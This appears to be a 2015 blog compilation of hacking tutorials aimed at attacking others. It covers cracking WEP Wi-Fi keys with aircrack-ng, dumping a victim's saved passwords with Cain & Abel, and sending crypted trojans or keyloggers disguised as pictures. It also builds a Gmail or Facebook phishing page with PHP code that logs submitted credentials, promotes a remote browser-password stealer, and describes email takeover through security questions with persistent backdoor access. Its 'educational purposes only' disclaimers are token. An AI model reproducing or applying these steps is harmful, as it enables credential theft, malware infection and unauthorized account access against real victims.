Saturday, 21 March 2015

Hack wifi wep

This chapter will teach you how to crack the WEP of a wireless network using BackTrack 4 step by step. BackTrack is a free OS available for download at http://www.backtrack-linux.org/downloads/. This tutorial is using BackTrack 4, but it should work similar in newer versions. Backtrack is the ultimate security testing OS, and is preloaded with hundreds of tools you can use to hack. We're only going to be using a couple for this tutorial.

What you will need:

Computer (Windows, Mac, Linux, any OS)
Wireless card that supports promiscuous mode (Most do, if yours isn't compatible you can buy one that is at any computer store. Check compatibility here: http://www.aircrack-ng.org/doku.php?id=compatibility_drivers&DokuWiki=68b8d15896f4851257a33e8133350dd7#which_is_the_best_card_to_buy)
Optional: Flash drive or blank DVD
Download the BackTrack 4 flavor of your choice. You can either boot the OS using VMware within windows, or you can boot backtrack straight off of a DVD or flash drive. Instructions for each of these methods are on the backtrack website.
Once you have booted up backtrack, it will ask you for a username and password. username: root password: toor
Now type startx and press enter. This will log you into backtrack and you should now see the desktop.
Open a command terminal. You can do this by clicking the black box icon bottom left corner of the screen.
type in: airmon-ng
Look for the name of your wireless card, its different for a lot of computers, mine is wlan0, so for the rest of this guide thats what i'm going to use. Replace wlan0 in all the following steps with whatever your device name is.
type: airmon-ng stop wlan0
type: macchanger --mac 00:11:22:33:44:55 wlan0
type: airmon-ng start wlan0
type: airodump-ng wlan0
You will now see all of the wifi networks in range. once you found the one you want to hack, press Ctrl + C to stop scanning. Take note of the bssid and channel of the network you want to hack.
type: airodump-ng -c (put the channel # here) -w wephack --bssid (enter bssid here) wlan0
Keep that window open, now open another command terminal and enter the following in the newly opened terminal:
type: aireplay-ng -1 0 -a (enter bssid here) -h 00:11:22:33:44:55 wlan0
type: aireplay-ng -3 -b (enter bssid here) -h 00:11:22:33:44:55 wlan0
Now go back to the 1st window, you'll notice a number steadily increasing. Once its over about 10,000 you can attempt to crack the WEP key. If this doesn't work, wait until the # is even higher, try again at 15,000 and so on
open a new command window and type: aircrack-ng -b (enter bssid) wephack-0.cap
You should now see it attempting to crack the WEP key. This could take up to 5 minutes or so depending on how fast your computer is. When its found the key, it will appear on the screen. You can now log into that network using the WEP on the screen :)
NOTES:

Usually, for this to work flawlessly, someone has to be currently using the internet on the network you're trying to hack, or else it could take awhile for you to get enough packets to crack the WEP.

It is illegal to steal wireless internet. Only try this on your own network. This guide is for educational purposes only, as with everything in this ebook. Use at your own risk.


Setup baxktrack for wi-fi hacking

This guide will show you how to download and setup BackTrack 5 to either boot off of USB, DVD, or dual-boot. Backtrack 5 is a linux build filled with a bunch of useful penetration testing tools, and will be used in the WiFi hacking tutorials as well as hacking PC tutorials.

USB method
using just a USB drive, you can run backtrack on any computer without installing anything.

What you need:

4GB+ USB flash drive
Windows PC
BackTrack 5 ISO file
UNetbootin
Download the BackTrack 5 ISO from http://www.backtrack-linux.org/downloads/. Make sure you choose either 32-bit or 64-bit. Gnome or KDE options don't matter, so you can choose either.
Download UNetbootin from http://unetbootin.sourceforge.net/ for windows and install it.
Plug your USB drive into your PC
Format the USB drive to FAT3 Note: this will delete all files on the flash drive.
Open UNetbootin and choose diskimage
Select the BackTrack 5 ISO file you downloaded.
Set the amount of space you would like to use for persistence in MB
Select your USB drive to create a bootable BackTrack 5
Now when you plug your flash drive into any computer and turn it on, you can boot off the flash drive. If it doesn't do this automatically, open the computers boot options at start up. Usually you can access this screen by pressing esc key when its booting up. Select your USB drive and BackTrack 5 will now boot up. When it asks you to login, the username/password is root // toor.
DVD method
using just a DVD, you can run backtrack on any computer with a dvd drive without installing anything.

What you need:

Blank DVD and DVD burner
Windows PC
BackTrack 5 ISO file
Software to burn ISO to a DVD. Windows 7 has an image burner built in. Other good options are Magic ISO or Nero
Download the BackTrack 5 ISO from http://www.backtrack-linux.org/downloads/. Make sure you choose either 32-bit or 64-bit. Gnome or KDE options don't matter, so you can choose either.
Use the image burning software of your choice to burn the BackTrack5 ISO to dvd. It's recommended you choose the slowest burning speed.
Now when you insert your DVD into any computer and turn it on, you can boot off the disc. If it doesn't do this automatically, open the computers boot options at start up. Usually you can access this screen by pressing esc key when its booting up. Select your dvd drive and BackTrack 5 will now boot up. When it asks you to login, the username/password is root // toor.

Dual-boot method
setup BackTrack 5 to dual boot along side your Windows 7 installation. When you boot up your computer, you'll be able to choose if you want to boot into Windows 7 or boot into BackTrack 5

What you need:

Blank DVD and DVD burner
Windows PC
BackTrack 5 ISO file
Software to burn ISO to a DVD. Windows 7 has an image burner built in. Other good options are Magic ISO or Nero
Download the BackTrack 5 ISO from http://www.backtrack-linux.org/downloads/. Make sure you choose either 32-bit or 64-bit. Gnome or KDE options don't matter, so you can choose either.
Use the image burning software of your choice to burn the BackTrack5 ISO to dvd. It's recommended you choose the slowest burning speed.
With the DVD in your drive, reboot and boot of the disc. If it doesn't do this automatically, open the computers boot options at start up. Usually you can access this screen by pressing esc key when its booting up. Select your dvd drive and BackTrack 5 will now boot up. When it asks you to login, the username/password is root // toor.
Once your at the BackTrack 5 desktop, you will see an install file on the desktop. Run this and follow the steps until installation is completed. It will ask you for your language, time zone, and how much of your hard drive you'd like to use for BackTrack
Reboot, and you will now have the option to boot into Windows 7 or BackTrack 5


Tuesday, 17 March 2015

Hacking password for gmail and facebook

This tutorial will show you how to obtain all saved passwords on a computer, which may include e-mails and other accounts. This tutorial assumes you have physical access to the victims computer.

Download and install Cain & Able from here: http://www.oxid.it/cain.html
If you don't want to have to download and install software on the victims computer, a USB bootable version is available.
Open Cain & Abel and click on configure
Select the device that has an IP (192.168.1.0 for example) and make sure Don't use promisucous mode is checked. Click ok
On the left under the decoders tab, there should be an IE 7 passwords option. Choose that
Click on the blue + icon
You should now see all saved IE 7 passwords. You can use the other options on the left to see if you can recover any other stored passwords.
If the victim doesn't use IE or this method didn't work for any reason, you can google search stored password recovery and find a bunch of other tools that do similar functions. Also, see the "USB password stealer" tutorial on this website.


Easy to hack anything with virus so why you don't try

Only use this method if the other methods didn't work for you, as this requires a little more work on your part. This method requires sending the victim a virus which will log their keystrokes and/or passwords, and sends them to you. If you don't do this well, its possible your virus can be detected and removed by the persons antivirus software.

This method requires:

A trojan or keylogger of your choice. www.hackforums.net is a good resource for finding this. There are hundreds of different programs you can use
A crypter. Crypting your virus is essential if you don't want your virus detected by an antivirus program. You can use the same link as above to find one, or you can even pay someone else like $5 on those forums to crypt your virus or keylogger for you. If your victim doesn't have antivirus, you may skip this, but it's not recommended.
A binder. Not required but this will be useful if you want to attach your virus to say a picture file. This way your not just sending someone a .exe which will seem more suspicious then if you sent them a legit picture file, which happens to have a virus attached to it. The person would never know. you sent them a virus. Again use google or the above link to find one of these, there are many.
First step is finding the trojan or keylogger of your choice. A trojan essentially is a virus that gives you access to a persons computer, and control/monitor a number of things, almost as if you were sitting at the computer itself. There are many different kinds, each with their own features and functions; most include a keylogger. A keylogger is a type of program or virus that simply monitors every key pressed and saves it into a log, which you can then access. www.hackforums.net is a good resource to find one of these, and its really up to you which you use, the steps will all be the same.
Once you have your trojan server created, you need to have it crypted. This will help prevent your virus from being detected by antivirus. You can either find your own crypter or pay someone a small fee to crypt your virus for you. Search around online for this, as there are many out there.
Once you have a crypted virus, you may now use a binder if you like, to combine your virus with another program or file such as a picture. This is recommended, because an jpeg is a lot less suspicious than a .exe file
Now that everything is ready, send your victim the file! You can trick them and tell them its a cool picture, or host the file on a free host somewhere online and have them download it saying its a cool new song. Your method of getting the file to them is up to you and how creative you can be. Another way is to install it yourself, if you have access to their computer. Just put the file on a flash drive and install it when they aren't around.
Once they're infected, you can use the trojan/keylogger program to monitor their PC. The possibilities from here are practically endless, and mostly depend on what kind of trojan/keylogger you used.


Phishing hacking for hack gmail and facebook

This guide will walk you through making a fake email login page, facebook, or any other service which you can send to someone. Once they log in, you will have their password and they will never know.

What this requires:

A computer with internet
a little cleverness and creativity
First, head over to 000webhost.com and create a free php hosting account. Whatever you make the URL will be what you send the person, so you may want to make it clever or something they might believe like amazingvideos.whatever.com
Once you've got your hosting created, time to make the fake login files. Goto the website of your choice (gmail.com, facebook.com, hotmail.com etc) and right click anywhere in the blank space and choose View Source. This will open the webpages code in a notepad. Select it all and copy it.
Now paste all the code into a notepad and press ctrl+f to search the document for action. Next to action you will see a url in quotes; delete this and replace it with post.php
Save the document as index.htm and make sure if you're saving with notepad, you select all files from the save drop down menu instead of text document
Now open a new notepad, and type in the following code:

<?php
header ('Location: http://facebook.com ');
$handle = fopen("passes.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
Save this file as post.php and again, make sure you save as all files and not text document.
Now go back to 000webhost.com and upload these 2 files to your hosting.
If everything was done correctly, when you send the person to your link, they will see a fake email login page. When they login, you can see their email and password in usernames.txt which will be created in your host where you uploaded the files. When they login, they will be redirected to the website you filled in.
NOTES: If you want to change where they're redirected to when they log in, change THE WEBSITE YOU PICKED in post.php file to the url of your choice.


Remote data stealer hacking

This popular stealer is back due to popular demand with new modifications and limitations. It decrypts all stored passwords in the internet browser. It works on Windows Vista and Windows 7 machines and it is in beta and only works on Chrome, Firefox, and IE. It is done in Java applet so they do need to run the applet for this to work. Luckily, the average user does not have much knowledge of computers so a little of social engineering should do the trick.

Basically, you register your email, pick a theme and it will give you a URL. Send the URL to a slave, use a bit of social engineering to get them to click on the link and run the applet. Once the applet is ran, they will get a fake error message and the decrypted stored passwords and cookie files will be sent to your email.

It is 100% FUD. All the decryption is done through the applet so it is not JDB and no files are downloaded to the slave's computer hence wont trigger Anti Viruses.

Go to: http://stealer.ambesty.com/
Read the instructions
Enter your email, click Signup/Login.
It will generate a URL per theme, send your slave the URL.
If all goes well, you should receive an email in your inbox with the decrypted data.


Monday, 16 March 2015

Social hacker engineering

This is probably the easiest method to get access to an e-mail account, and it really isn't hacking at all as much as it is playing off the stupidity of others. This will work for most e-mail services, such as gmail, yahoo, hotmail, etc
Here are a list of websites that will help you gather information you might need for this tutorial:

http://www.spokeo.com/
http://www.pipl.com/
http://www.zabasearch.com/
http://com.lullar.com/
http://www.emailfinder.com/
http://www.zoominfo.com/
The first step, is to obtain the victims e-mail address. This can be as easy as asking them for it in a non-suspicious way. The websites listed above can help you obtain their e-mail as well. Once you have their e-mail address, proceed to step 2.
For this example, we're going to presume or victim is using gmail, but the steps are about the same for any other service. Go to gmail, click I cannot access my account. For other e-mail services, it may be i forgot my password. What we're trying to do is get access to the security questions. For gmail it wont ask you the questions right away, it will send a password reset e-mail to the alternate e-mail account. For gmail, it will only ask you the security questions if the person hasn't logged into their account 24 hours after you submit a i cannot access my account request.
Once you're asked the security questions, the only thing in between you and their e-mail is the answers to said questions. Most questions are pretty easy to answer if you know the person. if you dont know them, just find out the answers. For example, one security question is What is the name of your first dog?. If you know the person, this could be an easy answer. If you don't, you could try bringing it up smoothly in a conversation, or by asking people close to the victim such as family or friends.
Once you've correctly answered the questions, you will be able to reset their password and gain access. Congrats :)
Most likely the person will end up resetting their password once they realized what has happened. If you want to leave a way for you to get back in, change their alternate e-mail. If they have an alternate e-mail as victim@yahoo.com, make an e-mail account with the same name on another service such as yahoo, so you own an email account victim@hotmail.com and replace their alternate email with this. This way, they most likely wont notice their alternate was changed, and you can just have a password reset request sent to your new email account, allowing you to regain access :)
As always, this is for educational purposes only, and is illegal to gain access to someone elses e-mail account. Only attempt this on your own accounts. Use at your own risk.